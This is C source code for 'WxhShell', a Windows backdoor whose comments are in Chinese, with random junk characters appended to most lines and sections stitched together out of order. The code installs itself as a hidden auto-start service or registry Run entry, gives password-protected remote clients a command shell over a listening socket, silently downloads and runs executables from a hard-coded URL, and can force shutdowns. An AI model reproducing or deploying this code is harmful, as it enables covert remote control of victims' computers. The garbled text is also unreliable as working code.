  case 'd': { sRflabl *x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _Bhd@S!  
    if(Boot(SHUTDOWN)) =P,pW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kn}Y7B{  
    else { pAyUQe;X#  
    closesocket(wsh); R4S))EHg  
    ExitThread(0); UK .=Y9  
    } h3Nbgxa.  
    break; -$`q:j  
    } 0"i QHi  
  // 获取shell 2nSK}q  
  case 's': { eH%i8a  
    CmdShell(wsh); y_T%xWK5  
    closesocket(wsh); h@Ix9!?+  
    ExitThread(0); jgBJs^JgYG  
    break; n%6=w9.%c  
  } \ (U|&  
  // 退出 X|y0pH:S  
  case 'x': { <SRo2rjRa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @`aPr26>?  
    CloseIt(wsh); ^CB@4$!   
    break; PrF('PH7i  
    } 3lgD,_&  
  // 离开 x6Q_+!mnk  
  case 'q': { \psO$TxF=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T;3B_ lu]  
    closesocket(wsh); 0&c<1;  
    WSACleanup(); Rd|^C$6  
    exit(1); J$ &2GAi  
    break; rWJKK  
        } 9/O\769"'  
  } +xNq8yS  
  } I<S*"[nV  
u89Q2\z~"M  
  // 提示信息 )Zrn?KM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Rb8 / WX  
} #2%8@?_-M  
  } *\^(-p~M  
gKRlXVS  
  return; |j4;XaG)  
} _ + >V(,{G  
_ FN#Vq2  
// shell模块句柄 Qi|k,1A0  
int CmdShell(SOCKET sock) ;p:CrFv  
{ ;z~j%L%b  
STARTUPINFO si; D+7[2$:z  
ZeroMemory(&si,sizeof(si)); gY_AO1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kuv+TN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; la`f@~Bbr1  
PROCESS_INFORMATION ProcessInfo; vh^?M#\  
char cmdline[]="cmd"; ,+FiP{`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +aOX{1w  
  return 0; 3*oZol/  
} m4G))||9Q  
K^%ONultv  
// 自身启动模式 4"Mq]_D  
int StartFromService(void) LKst QP!I  
{ B8zc#0!1  
typedef struct dRBWJ/ 1T  
{ e)|5 P  
  DWORD ExitStatus; mEbj  
  DWORD PebBaseAddress; 'NDr$Qc3  
  DWORD AffinityMask; 9\%`/tJM  
  DWORD BasePriority; EHrr}&  
  ULONG UniqueProcessId; KqXPxp^_Al  
  ULONG InheritedFromUniqueProcessId; Lo}zT-F  
}   PROCESS_BASIC_INFORMATION; ?qbq\t  
;6*$!^*w  
PROCNTQSIP NtQueryInformationProcess; ne=CN!=  
Bu4@FIK!C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =@MJEo`D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u3IhB8'  
"nU] 2  
  HANDLE             hProcess; P-X2A2  
  PROCESS_BASIC_INFORMATION pbi; |^gnT`+  
MK <\:g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P5v;o9B&  
  if(NULL == hInst ) return 0; LVJn2t^  
VhU,("&pm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c+:^0&l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LmPpt3[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <BK?@Xy  
ghW  
  if (!NtQueryInformationProcess) return 0; eqqnR.0  
ME*A6/h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S4 s#EDs  
  if(!hProcess) return 0; o>HGfr,N  
|q Pu*vR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2 e&M/{  
"1rT> ASWI  
  CloseHandle(hProcess); [NbW"Y7  
BVS SO's  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >txeo17Ba\  
if(hProcess==NULL) return 0; b T** y?2  
cpphnGj5  
HMODULE hMod; C9eisUM  
char procName[255]; ]aYuBoj  
unsigned long cbNeeded; 2h1P!4W85  
YAd%d|Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "lL/OmG  
rW`l1yi*$  
  CloseHandle(hProcess); 8I0G%hD  
."ytBF  
if(strstr(procName,"services")) return 1; // 以服务启动 }+K=>.  
k{cPiY^  
  return 0; // 注册表启动 @ 6H7  
} S]Aaf-X_  
br*PB]dU  
// 主模块 &5hs W1`  
int StartWxhshell(LPSTR lpCmdLine) Uv!VzkPfo  
{ ]2MX7  
  SOCKET wsl; Y.% Vvg4z3  
BOOL val=TRUE; ]^<\a=U  
  int port=0; ^[Y/ +Q.J  
  struct sockaddr_in door; 8qoA5fW>  
z<8VJZd  
  if(wscfg.ws_autoins) Install(); Ei89Ngp\}  
X=Jt4 h 9  
port=atoi(lpCmdLine); D0h6j0r 5  
C{,Vk/D-0  
if(port<=0) port=wscfg.ws_port; T75N0/teS  
4K,S5^`Gx  
  WSADATA data; $}=r 45e0K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M%7|7V<o)^  
AsI.8"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JI /iq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6#HnA"I2n  
  door.sin_family = AF_INET; N3w y][bo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hz5t/E  
  door.sin_port = htons(port); Q<(aU{  
w7f)v\p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7yOBxb   
closesocket(wsl); sY?sQ'E2]  
return 1; =]1g*~%  
} Ho $+[K  
kH4m6p  
  if(listen(wsl,2) == INVALID_SOCKET) { gZ=$bR  
closesocket(wsl); R#s_pW{op  
return 1;  lHE+o;-  
} i#PR Tbc  
  Wxhshell(wsl); mB%m<Zo\U  
  WSACleanup(); 2m9qg-W  
V OT9cP^6  
return 0; /buj(/q^#  
$_gv(&ZT  
} t<%+))b  
!(y(6u#  
// 以NT服务方式启动 Bf" ZmG9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SBY0L.  
{ {~#d_!(  
DWORD   status = 0; uxL3 8d]  
  DWORD   specificError = 0xfffffff; 1yTw*vH F  
T#HF! GH]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .`oKd@I*"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j?VHR$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V(Oi!(H;v  
  serviceStatus.dwWin32ExitCode     = 0; }d@;]cps  
  serviceStatus.dwServiceSpecificExitCode = 0; S`vw<u4t  
  serviceStatus.dwCheckPoint       = 0; ajX] ui  
  serviceStatus.dwWaitHint       = 0; Hio+k^  
AG"iS<u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ""h%RhcZ\  
  if (hServiceStatusHandle==0) return; qBZ;S3  
LN9.Q'@r?  
status = GetLastError(); m; PTO$--  
  if (status!=NO_ERROR)  _w FK+>  
{ >E WK cocM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3M>y.MS  
    serviceStatus.dwCheckPoint       = 0; milQxSpj  
    serviceStatus.dwWaitHint       = 0; 1 /SB[[g  
    serviceStatus.dwWin32ExitCode     = status; -o57"r^x  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1U ='"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~eUv.I/  
    return; ^c| 0?EH  
  } m~F ~9&  
0\+$j5;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ac8su0  
  serviceStatus.dwCheckPoint       = 0; 4x.I"eW~&  
  serviceStatus.dwWaitHint       = 0; lE3&8~2   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7r pTk&`  
} sR| /s3;  
7>-99o^W  
// 处理NT服务事件,比如:启动、停止 l s%'\}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6L2Wv5C  
{ E&Sr+D aPD  
switch(fdwControl) m*v@L4t( 1  
{ VYrs4IFT$  
case SERVICE_CONTROL_STOP: A$?o3--#]G  
  serviceStatus.dwWin32ExitCode = 0; n%s$!R- \  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2(R{3E4.  
  serviceStatus.dwCheckPoint   = 0; g^^^fKUp)  
  serviceStatus.dwWaitHint     = 0; b)T6%2  
  { ~}Z{hs)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h{ eQ\iI  
  } 8'u,}b)  
  return; w7~&Xxa/  
case SERVICE_CONTROL_PAUSE: _HkQv6fXpE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mOb@w/f  
  break; z0T6a15f!P  
case SERVICE_CONTROL_CONTINUE: $[b1_Db  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dCzS f4:  
  break; D?"Q)kVuD  
case SERVICE_CONTROL_INTERROGATE: V_KHVul  
  break; .iST!nh  
}; =HMuAUa.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;!EEzR.  
} ppO!v?  
p&HkR^.S  
// 标准应用程序主函数 c32"$g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %}{.U  
{ U)1hC^[!   
_;-b ZH  
// 获取操作系统版本 SnoEi~Da  
OsIsNt=GetOsVer(); ,;yaYF 6|/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t<cWMx5ra  
?y^ ix+ M  
  // 从命令行安装 IOl0=+p  
  if(strpbrk(lpCmdLine,"iI")) Install(); `U{#;  
;\iu*1>Z,&  
  // 下载执行文件 @! jpJ}  
if(wscfg.ws_downexe) { YwJ<0;:+hS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MU1T="N^+  
  WinExec(wscfg.ws_filenam,SW_HIDE); ) 3I|6iS  
} %i&\ X[  
P}-S[[b73s  
if(!OsIsNt) { :Y)G-:S+  
// 如果时win9x,隐藏进程并且设置为注册表启动 T"E%;'(cp)  
HideProc(); 3.%jet1  
StartWxhshell(lpCmdLine); PH!rWR  
} C0L(ti;  
else yI's=Iu`  
  if(StartFromService()) l+?sR<e?!  
  // 以服务方式启动 EHt(! ;?q  
  StartServiceCtrlDispatcher(DispatchTable); &y~GTEP  
else p0HcuB)Y  
  // 普通方式启动 # twl  
  StartWxhshell(lpCmdLine); |tO.@+[uqP  
7gt%[r M  
return 0; $oZV 54  
} D+*_iM6[-  
K Z0%J5  
r7v 1q  
u6*mHkM  
=========================================== ['l}*  
dj3E20Ws  
|l,0bkY@&  
$HV`bJ5!L*  
U?ZxQj66}  
|LE*R@|3$  
" ^2mCF  
hle@= e/n  
#include <stdio.h> %UCuI9  
#include <string.h> }k6gO0z  
#include <windows.h> 1VG7[#Zy  
#include <winsock2.h> do@BJWo  
#include <winsvc.h> @FuX^Q.[  
#include <urlmon.h> <2PO3w?Z  
C6:; T%  
#pragma comment (lib, "Ws2_32.lib") ra{HlB{  
#pragma comment (lib, "urlmon.lib") >orDw3xC  
{^Q1b.=  
#define MAX_USER   100 // 最大客户端连接数 xQ8?"K;iX  
#define BUF_SOCK   200 // sock buffer \eS-wO7%  
#define KEY_BUFF   255 // 输入 buffer _({K6adb  
0EUC8Ni  
#define REBOOT     0   // 重启 '>UQsAvm  
#define SHUTDOWN   1   // 关机 9K#U<Q0b'  
)7iYx{n  
#define DEF_PORT   5000 // 监听端口 @. KFWAm  
fMZc_dsW9  
#define REG_LEN     16   // 注册表键长度 g=kuM  
#define SVC_LEN     80   // NT服务名长度 L(3} H,t  
.T7S1C $HP  
// 从dll定义API wTVd){q`.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -[>G@m:?e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5i&+.?(Z=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vv`,H~M6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K$~Ja  
\@*D;-b  
// wxhshell配置信息 W sDFui  
struct WSCFG { YXTd^M~@D  
  int ws_port;         // 监听端口 [f-<M@id/  
  char ws_passstr[REG_LEN]; // 口令 >^d+;~Q;  
  int ws_autoins;       // 安装标记, 1=yes 0=no fvw&y+|y!  
  char ws_regname[REG_LEN]; // 注册表键名 :JG2xtn  
  char ws_svcname[REG_LEN]; // 服务名 +q)B4A'J!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'M3V#5l)@|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SWMi+)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qISzn04  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ?r(Bu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wfBf&Z0{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RQd5Q.  
~@EBW3>~5  
}; Rs1JCP=d8  
O:te;lQ K  
// default Wxhshell configuration #Pq.^ ^  
struct WSCFG wscfg={DEF_PORT, Z$ Mc{  
    "xuhuanlingzhe", Tg#%5~IX  
    1, 2ee((vO&  
    "Wxhshell", ^+Stvj:N  
    "Wxhshell", t+ O7dZt%r  
            "WxhShell Service", sqk$q pV6  
    "Wrsky Windows CmdShell Service", ,2^zX]dgM  
    "Please Input Your Password: ", (ysDs[? \  
  1, 7Dwf0Re`  
  "http://www.wrsky.com/wxhshell.exe", jxA*Gg3cT5  
  "Wxhshell.exe" c^BeT;  
    }; X5Ff2@."y|  
^[-3qi  
// 消息定义模块 \d"M&-O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mj-B;r  
char *msg_ws_prompt="\n\r? for help\n\r#>";  tvvRHvL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t[?O*>  
char *msg_ws_ext="\n\rExit."; u7ER  
char *msg_ws_end="\n\rQuit."; *6 1G<I  
char *msg_ws_boot="\n\rReboot..."; agxR V  
char *msg_ws_poff="\n\rShutdown..."; )l*6zn`z  
char *msg_ws_down="\n\rSave to "; YNWAef4  
EXTQ:HSES  
char *msg_ws_err="\n\rErr!"; 99..]  
char *msg_ws_ok="\n\rOK!"; 'P<T,:z?  
=;@?bTmqD  
char ExeFile[MAX_PATH]; BX6]d:S  
int nUser = 0; ,daZ KxT  
HANDLE handles[MAX_USER]; tz"zQC$  
int OsIsNt; b>"=kN/  
PEHaH"|([=  
SERVICE_STATUS       serviceStatus; s9}VnNr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !JVpR]lWS  
dEM=U;  
// 函数声明 #u6ZCv7u  
int Install(void); +b6kU{  
int Uninstall(void); '9#h^.  
int DownloadFile(char *sURL, SOCKET wsh); 5$p7y:  
int Boot(int flag); NHq*&xy  
void HideProc(void); 5qx$=6PT  
int GetOsVer(void); [}!obbM  
int Wxhshell(SOCKET wsl); b py576GwA  
void TalkWithClient(void *cs); q<*UeyE S  
int CmdShell(SOCKET sock); \hT=U*dMR  
int StartFromService(void); ITu5Y"x  
int StartWxhshell(LPSTR lpCmdLine);  Gu P1  
60&4?<lR4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ImVHX~ qHJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )rFcfS+/  
dTW3mF4=  
// 数据结构和表定义 q2KWSh5  
SERVICE_TABLE_ENTRY DispatchTable[] = $mp'/]  
{ Ik74%x7G`  
{wscfg.ws_svcname, NTServiceMain}, b(.,Ex]  
{NULL, NULL} orzy &4  
}; o{wXq)b  
X:Z*7P/  
// 自我安装 X[ up$<  
int Install(void) $S _VR  
{ a4iq_F#NF  
  char svExeFile[MAX_PATH]; &lYe  
  HKEY key; *wetPt)~v_  
  strcpy(svExeFile,ExeFile); x nm!$ $W  
G.#sX  
// 如果是win9x系统,修改注册表设为自启动 qC aM]Y  
if(!OsIsNt) { kan4P@XVS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m6=Jp<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =ADdfuKN  
  RegCloseKey(key); ;+h-o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' ;PHuMY#X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3m9ab"  
  RegCloseKey(key); )dgo oq  
  return 0; -^%YrWgd?  
    } 4?)-;Hx_X  
  } t&99ZdE  
} &;O)Dw  
else { IrZ!.5%tV  
;3H#8x-  
// 如果是NT以上系统,安装为系统服务 p+>vX X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zgh~P^Z  
if (schSCManager!=0) K9(Su`zr  
{ 0ynvn9@t  
  SC_HANDLE schService = CreateService ,S7 g=(27(  
  ( KDzTe9  
  schSCManager, YZH &KGY  
  wscfg.ws_svcname, R |h(SXa  
  wscfg.ws_svcdisp, BE]PM nI  
  SERVICE_ALL_ACCESS, wkwsBi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #^ cmh  
  SERVICE_AUTO_START, ~qxuD_  
  SERVICE_ERROR_NORMAL, "dO>P*k,  
  svExeFile, Hkck=@>8H*  
  NULL, U F ]g6u  
  NULL, XV> )[Nd\H  
  NULL, P,@ :?6  
  NULL, $rG~0  
  NULL Y uo  
  ); atA:v3"  
  if (schService!=0) s,|s;w*.  
  { ~Uz1()ftz  
  CloseServiceHandle(schService); :UgCP ~Y  
  CloseServiceHandle(schSCManager); 2l9RU}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z7t-{s64  
  strcat(svExeFile,wscfg.ws_svcname); 0=^A{V!m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M >BcYbXf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }JKK"d}U  
  RegCloseKey(key); m"CsJ'\ors  
  return 0; 4pfv?!Oj  
    } 5@xl/  
  } ;%H/^b.c  
  CloseServiceHandle(schSCManager); @a{1vT9b  
} |tkhsQ-;  
} *j0kb"#  
LYv$U;*+  
return 1; b\l +S2  
} `Ko6;s#  
rcWr0q  
// 自我卸载 XvIrO]F-  
int Uninstall(void) ED+tVXyw  
{ k5%:L2FO  
  HKEY key; M!e$h?vB  
&b#O=LF  
if(!OsIsNt) { ))qOsphN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4x'N#m{p  
  RegDeleteValue(key,wscfg.ws_regname); U%~L){<V[  
  RegCloseKey(key); [N-t6Z*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e(NpX_8  
  RegDeleteValue(key,wscfg.ws_regname); )K0BH q7r  
  RegCloseKey(key); (gn)<JJS}  
  return 0; fq"<=  
  } ?xbPdG":R  
} ma<+!*|   
} 0WjPo  
else { ;P{HePs=)  
wSMP^kG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /5y*ZIq]e  
if (schSCManager!=0) ]^63n/Twj  
{ 2sOV3~bB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);   vZQ'  
  if (schService!=0) vl'2O7  
  { nz=X/J6  
  if(DeleteService(schService)!=0) { z&6TdwhV  
  CloseServiceHandle(schService); =h4* ^NJ  
  CloseServiceHandle(schSCManager); l$_Yl&!q$  
  return 0; BWbM$@'x  
  } wlM"Zt  
  CloseServiceHandle(schService); 'NJCU.lKm  
  } 5+gSpg]i  
  CloseServiceHandle(schSCManager); ;c-J)Ky  
} Q@in?};  
} 1Ue;hu'q:  
`zjEs8`'  
return 1; Q9`}dYf.  
} ]y:ez8RFPU  
)K4A-9pC  
// 从指定url下载文件 j(`L)/|O  
int DownloadFile(char *sURL, SOCKET wsh) h7( R/Rf  
{ )@ /!B`  
  HRESULT hr; i5>]$j1/  
char seps[]= "/"; F|3 =Cl  
char *token; O+Zt*jN;  
char *file; 39w|2%(O.  
char myURL[MAX_PATH]; ]0VjVU-  
char myFILE[MAX_PATH]; ?~;8Y=O  
XL/?v" /  
strcpy(myURL,sURL); ` R;6]/I?  
  token=strtok(myURL,seps); /GK1}h  
  while(token!=NULL) *)V1Sd#m  
  { M mjeFv  
    file=token; RE72%w(oM  
  token=strtok(NULL,seps); 26c,hPIeXY  
  } V0,%g+.^  
K&t+3O  
GetCurrentDirectory(MAX_PATH,myFILE); c({V[eGY  
strcat(myFILE, "\\"); JO4rU- n  
strcat(myFILE, file); ~"E@do("  
  send(wsh,myFILE,strlen(myFILE),0); yX}riXe  
send(wsh,"...",3,0); }4!R2c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8u,f<XHi"a  
  if(hr==S_OK) E6{|zF/3'  
return 0; |G+6R-_  
else vpoeK'bi,  
return 1; c&1:H1#  
z(AhO  
} V Q6&7@ c  
<$^76=x,8P  
// 系统电源模块 z*cC2+R}=  
int Boot(int flag) XNwZSW  
{ .kl _F7  
  HANDLE hToken; ]*8K4n G  
  TOKEN_PRIVILEGES tkp; .Y8z3O  
cax]l O  
  if(OsIsNt) { 1N#KVvK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8\+Q*7~@i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jon<?DQj  
    tkp.PrivilegeCount = 1; e5!LbsJv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H]LH~l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i)Hjmf3  
if(flag==REBOOT) { >Cb[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vf67gux  
  return 0; 4,o|6H  
} 8._ A[{.f  
else { L#Mul&r3x0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YxEc(a"  
  return 0; K5O#BBX=  
} U2=PmS P  
  } t;7 tuq   
  else { v-;j44sB  
if(flag==REBOOT) { p#VA-RSUQ|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vI<n~FHt  
  return 0; >a@c5  
} 9oly=&lJ  
else { <q V<dK&W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 28KS*5S  
  return 0;  a=<l}`*  
} `u%`N j  
} c~B[ <.Qj  
<1H bjR w  
return 1; nu1s  
} 9o|=n'o  
fdIO'L_  
// win9x进程隐藏模块 > .L\>  
void HideProc(void) GXV<fc"1  
{ 1}A1P&2>  
qVOlUH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sLGut7@Sg  
  if ( hKernel != NULL ) #{]X<et  
  { @`&kn;7T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Xsvf@/]U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B'( /W@  
    FreeLibrary(hKernel); tta\.ic  
  } O1+2Z\F  
c#?JW:^|Df  
return; j'#Y$d1.  
} xFU*,Y  
kY8aK8M  
// 获取操作系统版本 /Ulv/Thl  
int GetOsVer(void) v(+9&  
{ 1l$c*STK  
  OSVERSIONINFO winfo; :Ogt{t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5&WYL  
  GetVersionEx(&winfo); ).[Mnt/Ft  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~J}{'l1{yf  
  return 1; C]ev"Am_)  
  else W 7k\j&x  
  return 0; 1+1Z]!nG#!  
} "0JG96&\  
%F'*0<  
// 客户端句柄模块 7^}np^[HB  
int Wxhshell(SOCKET wsl) 2f'3Vjp~G  
{ | |=q"h3(  
  SOCKET wsh; &tT*GjPwg;  
  struct sockaddr_in client; ?lg  
  DWORD myID; w)A@  
r+T@WvS%W  
  while(nUser<MAX_USER) |5o0N8!b[  
{ ZT>?[`Vgc  
  int nSize=sizeof(client); GCn^+`.h1t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KkVFY+/)  
  if(wsh==INVALID_SOCKET) return 1; N"X;aVFs_  
ZP>KHiA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a}~Xns  
if(handles[nUser]==0) >syQDB  
  closesocket(wsh); D^+#RR'#,  
else !a"RHg:HO  
  nUser++; 0^l|W|.Z  
  } Tx)X\&ij&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OR4ZjogzY  
Q{hXP*5  
  return 0; 1bW[RK;GE  
} \`:X37n)0q  
2&st/y(hs  
// 关闭 socket %#!pAUP\&  
void CloseIt(SOCKET wsh) %d..L-`]ET  
{  >'>onAIL  
closesocket(wsh); 8cqH0{  
nUser--; qJY'"_Q{  
ExitThread(0); Ba=P  
} q8U*  
/s91[n(d  
// 客户端请求句柄 }pP<+U  
void TalkWithClient(void *cs) GfEg][f  
{ @<$-*,  
pkd#SY  
  SOCKET wsh=(SOCKET)cs; qd@x#"qT  
  char pwd[SVC_LEN]; %1E:rw@  
  char cmd[KEY_BUFF]; . zM  
char chr[1]; dgb#PxOMH  
int i,j; Ho3$T  
;J"b%~Gn  
  while (nUser < MAX_USER) { 9|Z25_sS  
5r;M61  
if(wscfg.ws_passstr) { a<-'4D/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rFY% fo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nJ !`^X5I  
  //ZeroMemory(pwd,KEY_BUFF); qA4w*{JN  
      i=0; t@K N+ C  
  while(i<SVC_LEN) { W0vdU;?%  
(E'f'g  
  // 设置超时 ^a=,,6T  
  fd_set FdRead; $ b Q4[  
  struct timeval TimeOut; ^rz8c+ly  
  FD_ZERO(&FdRead); x.Sq2rw]V  
  FD_SET(wsh,&FdRead); SDY!!.  
  TimeOut.tv_sec=8; R)s@2S  
  TimeOut.tv_usec=0; <S*o}:iB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jg I+k Nx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'g<0MOq{  
seT?:PCA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &"^,Ubfcn"  
  pwd=chr[0]; *], ]E;  
  if(chr[0]==0xd || chr[0]==0xa) { _1D'9!+   
  pwd=0; sq6|J])GgU  
  break; "xS?#^a  
  } `(j}2X'[  
  i++; Hu"?wZj  
    } N%1T>cp0  
=d#3& R]p  
  // 如果是非法用户,关闭 socket CO25  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pb05>J3N  
} fD8A+aA  
"Dbjp5_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [C@0&[[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mz}yf5{f  
-5 -X[`cF  
while(1) { joa|5v'  
>L6V!  
  ZeroMemory(cmd,KEY_BUFF); #q`-"2"|  
sxq'uF(K  
      // 自动支持客户端 telnet标准   $0[T=9q <+  
  j=0; E|!rapa  
  while(j<KEY_BUFF) { <a@'Pcsk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V#!ftu#c?  
  cmd[j]=chr[0]; R:7j`gHJ|9  
  if(chr[0]==0xa || chr[0]==0xd) { %T3L-{s5  
  cmd[j]=0; 6 /T_+K.k  
  break; YN Lc )  
  } !C&!Wj  
  j++; A;~u"g'z&  
    } /aa'ryl_%  
tlo"tl_]  
  // 下载文件 Go>_4)jy  
  if(strstr(cmd,"http://")) { k(>hboR5n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q_<CG[,6D1  
  if(DownloadFile(cmd,wsh)) X( m&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U0}]3a0  
  else =i jGB~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r"s <;  
